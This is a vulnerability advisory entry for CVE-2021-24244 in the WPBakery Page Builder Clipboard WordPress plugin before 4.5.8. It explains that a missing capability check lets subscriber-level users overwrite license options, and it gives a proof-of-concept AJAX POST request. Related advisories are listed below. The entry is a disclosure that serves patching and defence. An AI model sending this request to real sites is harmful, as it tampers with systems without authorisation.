WPBakery Page Builder Clipboard < 4.5.8 – Unauthorised Arbitrary License Options Update | CVE 2021-24244 | Plugin Vulnerabilities

Description

An AJAX action registered by the plugin did not have capability checks, allowing low privilege users, such as subscribers, to update the license options (key, email).

Proof of Concept

When logged in as a user with Subcriber role or greater, submit a request to wp-admin/admin-ajax.php with action = "vc_clipboard_activate" and arbitrary data can be added to the sanitized "email" or "license_key" parameters.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Connection: close
Cookie: [Subscriber+ cookies]

action=vc_clipboard_activate&email=a&license_key=something

Affects Plugins

Fixed in 4.5.8

References

CVE

URL

https://codecanyon.net/item/visual-composer-clipboard/8897711

Classification

Type

ACCESS CONTROLS

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Charles Strader Sweethill

Submitter

Charles Strader Sweethill

Submitter website

https://wordfence.com

Verified

Yes

WPVDB ID

354b98d8-46a1-4189-b347-198701ea59b9

Timeline

Publicly Published

2021-04-06 (about 4 years ago)

Added

2021-04-06 (about 4 years ago)

Last Updated

2021-04-07 (about 4 years ago)

Other

Published

Title

Published

2021-08-23

Title

Timetable and Event Schedule by MotoPress < 2.4.2 - Unauthorised Event TimeSlot Deletion

Published

2020-08-04

Title

CMP - Coming Soon & Maintenance < 3.8.2 - Improper Access Controls on AJAX Calls

Published

2022-01-03

Title

TrustMate.io integration for WooCommerce < 1.8.12 - Subscriber+ Arbitrary Plugin's Settings Update

Published

2021-04-30

Title

Download Manager < 3.1.23 - Unauthorised Asset Manager Usage

Published

2021-08-25

Title

Advanced Custom Fields < 5.11 - Subscriber+ Arbitrary ACF Data/Field Groups View and Fields Move